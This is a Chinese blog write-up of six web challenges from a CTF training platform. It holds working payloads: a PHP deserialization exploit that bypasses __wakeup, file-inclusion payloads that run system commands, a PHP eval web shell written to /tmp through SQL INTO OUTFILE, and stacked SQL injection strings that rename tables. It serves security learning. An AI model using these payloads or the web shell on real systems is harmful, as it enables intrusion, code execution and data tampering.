20201229攻防世界WEB高手区题目一题多解全教程通关(1-6)

news/2024/7/6 0:59:26

 

 欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注

目录

001baby_web

002Trainng WWW Robots

003Web_php_unserialize

004php_rce

005Web_php_include

 Web_php_include第一种解法data://text/plain/;base64,

 Web_php_include第二种解法php://filter/read=convert.base64-encode/resource=(文件名)

 Web_php_include第三种解法御剑扫描后台登录数据库

006supersqli

法一

法二

法三


001baby_web

002Trainng WWW Robots

有关robots.txt的知识可以参考:如何使用robots.txt及其详解 - yuzhongwusan - 博客园

打开robots.txt会发现它只允许俄罗斯最大的搜索引擎爬取他的flag:

我们打开BP把自己的USER-agent改为Yandex就好了:

然后访问fl0g.php就会发现我们需要的flag:cyberpeace{3084111b083b31c5dc5bb10d16ac39e8}

003Web_php_unserialize

反序列化的题目一般解题思路都是调用__destruct(){}这个魔术方法,然后通过这个方法中的函数去读取flag所在文件,,,题目一般会怎么“阻碍”我们获取flag呢?一般会wake_up,或者正则,放在和__destruct(){}同一个类(class)里面,我们输入的参数会被过滤。。我们必须绕过wake_up、正则,才可以。绕过正则就看你对正则的理解,,过wake_up需要的是PHP的版本PHP5<5.6.25
PHP7<7.0.10,当实际属性的值小于我们写入的反序列化中的属性的值的时候,就会不执行wake_up魔术方法。当然,我也是第一次学习反序列化,入门推荐PHP中文网的教程十分详细:详解之php反序列化-php教程-PHP中文网

就拿这道题目来说,直接上源码和后面我加入的解题PHP语句:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

#先创建一个对象,自动调用__construct魔法函数

$obj = new Demo('fl4g.php');

#进行序列化

$a = serialize($obj);

#使用str_replace() 函数进行替换,来绕过正则表达式的检查

$a = str_replace('O:4:','O:+4:',$a);

#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数

$a = str_replace(':1:',':2:',$a);

#再进行base64编码

echo base64_encode($a);


?>

 把得到的$a作为参数输入的url里面,获取flag:

004php_rce

说实话,这题我因为没有对rce这个remote controll execution的敏感,以及做题经验,我无法想到任何思路……我是查了大佬博客才知道的。。。贴出原贴:攻防世界-php_rce详解_Mr H的博客-CSDN博客_php_rce

值得注意的是,Linux下find 命令比whereis更加优秀,找的更全,find / name (文件名) 会查出和这个文件有关的一切东西。可以参考C语言中文网,个人认为分析十分详细易懂Linux find命令:在目录中查找文件(超详解)

我们是如何确定flag文件在哪里的呢?首先是不断尝试ls   ls ../   ls ../../       ls ../../../  可以得知ctf题目一般需要切换目录不断寻找和flag有关的文件位置。。这也是一种经验吧。

005Web_php_include

上代码,备注里面加入了我的分析,我们要有一种“题目感应”,也就是高中老师常说的“题感”,当你看到诸如“文件类的漏洞”,“php://”,“filter:///”“input://”,“data://text”这一类的关键词时候,就要想到用伪协议去读取网站目录下可能存在的flag文件,或者上传一个shell去连接这个网站。

<?php
show_source(__FILE__);//展示本页面的源代码
echo $_GET['hello'];//当我们在URL里面对hello赋值的话,会在页面上返回我们给hello赋的值
$page=$_GET['page'];//我们可以用同样的方法给page赋值
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
    //如果我们对page的赋值中包含php://的话,就会被过滤掉这一部分的语句
}
include($page);//文件包含,每当我们打开这个页面,就会执行page里面包含的内容,如果page里面是一个恶意shell的话,这个页面也会执行page里面包含的shell
?>

 Web_php_include第一种解法data://text/plain/;base64,

这是一种基于data://伪协议的方式,该协议的用法是:我们首先输入的语句是:<?php system(ls);?>,会发现出现在页面下的有三个文件,其中一个是名为flag******的可疑文件

接下来我们查看这个可疑文件,用PHP语句<?php system(cat +文件名);?>:

但是却报了500错误,500是服务器方面的错误,有可能是我们权限不够,没法直接访问这个文件。再试试base64编码可不可以绕过:

一开始没有反应,需要“查看页面源码”,就会发现flag:

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

 Web_php_include第二种解法php://filter/read=convert.base64-encode/resource=(文件名)

php://filter/read=convert.base64-encode/resource=也是一个伪协议,用于读取目标的某个文件,原理和方法和第一种解法中的一样,仅仅是换了语句而已:

把这个flag解码得到这样一条语句:http://220.249.52.134:44298/<?php $flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";?>

 Web_php_include第三种解法御剑扫描后台登录数据库

这是我看了别人的博客才知道的方法,我也没想到能用工具直接扫描这个网站下的子目录有什么文件,居然会发现有数据库,御剑扫描获得phpmyadmin root 密码空 进入数据库执行这条命令查secure_file_priv是否为空,为空则可以写数据 如果是null不能写

SHOW VARIABLES LIKE "secure_file_priv"

linux默认tmp是可写目录,所以我们把一句话木马写入这个文件夹下,

SELECT "<?php eval(@$_POST['xyy']); ?>"INTO OUTFILE '/tmp/hack.php'

006supersqli

一道很基础的SQL注入题目,只要学过基本都会,这里需要的前置知识是预编译,SQL语法,strstr函数绕过:

法一

1.输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了

 

2.order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用union select进行联合查询,发现关键字被正则过滤

 

3.尝试堆叠注入

-1';show tables --+

 

4.查看字段,

-1';show columns from `1919810931114514` --+

-1';show columns from `words` --+

 

 

5.查看值,需要绕过select的限制,我们可以使用预编译的方式

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:

-1';

set @sql = CONCAT('se','lect * from `1919810931114514`;');

prepare stmt from @sql;

EXECUTE stmt; #

 

6.这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

 


法二

1.由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:

select * from words where id = '';

2.我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

修改表名和列名的语法如下:

修改表名(将表名user改为users)alter table user rename to users;

修改列名(将字段名username改为name)alter table users change uesrname name varchar(30);

3.最终payload如下:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下:

1';

alter table words rename to words1;

alter table `1919810931114514` rename to words;

alter table words change flag id varchar(50);

#

4.然后使用1' or 1=1#即可查询出flag


法三

使用handler查询,payload如下:

-1';handler `1919810931114514` open;handler `1919810931114514` read first;#


http://www.niftyadmin.cn/n/3075179.html

相关文章

XMLDocument 方法中实现post发送消息

XMLDocument 方法中实现post发送消息 转载于:https://www.cnblogs.com/onroad2016/p/5829240.html

20210108攻防世界WEB高手区题目一题多解全教程通关(7-12)

欢迎大家一起来Hacking水友攻防实验室学习&#xff0c;渗透测试&#xff0c;代码审计&#xff0c;免杀逆向&#xff0c;实战分享&#xff0c;靶场靶机&#xff0c;求关注 目录 007ics-06 008warmup warmup第一种解法 warmup第二种解法 009NewsCenter 010NaNNaNNaNNaN-Bat…

修复CefSharp浏览器组件中文输入Bug

概述 最近在win10上开发wpf应用&#xff0c;需要将CefSharp中wpf版本的浏览器组件&#xff08;版本号v51.0.0&#xff09;嵌入到应用中&#xff0c;但是发现不支持中文输入&#xff0c;GitHub上有这个问题的描述&#xff0c;参照其提到的方法可以解决&#xff0c;但是候选词窗口…

20200109攻防世界WEB高手区题目一题多解全教程通关(13-18)

欢迎大家一起来Hacking水友攻防实验室学习&#xff0c;渗透测试&#xff0c;代码审计&#xff0c;免杀逆向&#xff0c;实战分享&#xff0c;靶场靶机&#xff0c;求关注 目录 013unserialize3 014upload1 015Web_python_template_injection 016 easytornado 017shrine 0…

为什么要用java重写logstash

为什么要用java重写logstash 写之前这里先打个广告&#xff0c;java 版本的logstash已经开源&#xff0c;git地址 https://github.com/dtstack &#xff1b;再放个招聘信息 https://m.zhipin.com/weijd/v2/job/de2292afc38d32fe1XV73t25EFU~?date820180609&sidself_jd&…

VMware workstation安装linux镜像步骤

** 新手安装linux镜像步骤记录 ** 前言 软件&#xff1a;VMware12 pro版本 镜像&#xff1a;centos1905、ubuntu1804 一、创建虚拟机 1.1、文件—>创建虚拟机&#xff0c;选择自定义&#xff0c;可以自己对虚拟机的资源进行个性化配置 1.2、在选择硬件兼容性方面我们…

个人建站碰到的坑—忘记数据库密码

问题图片 解决思路 前提&#xff1a;自己购买的阿里云服务器&#xff0c;自己忘记wordpress密码。 想法1&#xff1a;通过邮箱进行密码重置 虽然填了邮箱&#xff0c;想用邮件发送修改密码的方式&#xff0c;但是发现我的主机不能发送重置密码的邮件&#xff0c;所以想法1失败…

20201224DVWA-SQL注入(SQL inject)模块全难度详解

目录 欢迎大家一起来Hacking水友攻防实验室学习&#xff0c;渗透测试&#xff0c;代码审计&#xff0c;免杀逆向&#xff0c;实战分享&#xff0c;靶场靶机&#xff0c;求关注 SQL注入的思路 low medium high SQL注入的思路 1.判断是否存在注入&#xff0c;注入是字符型还是…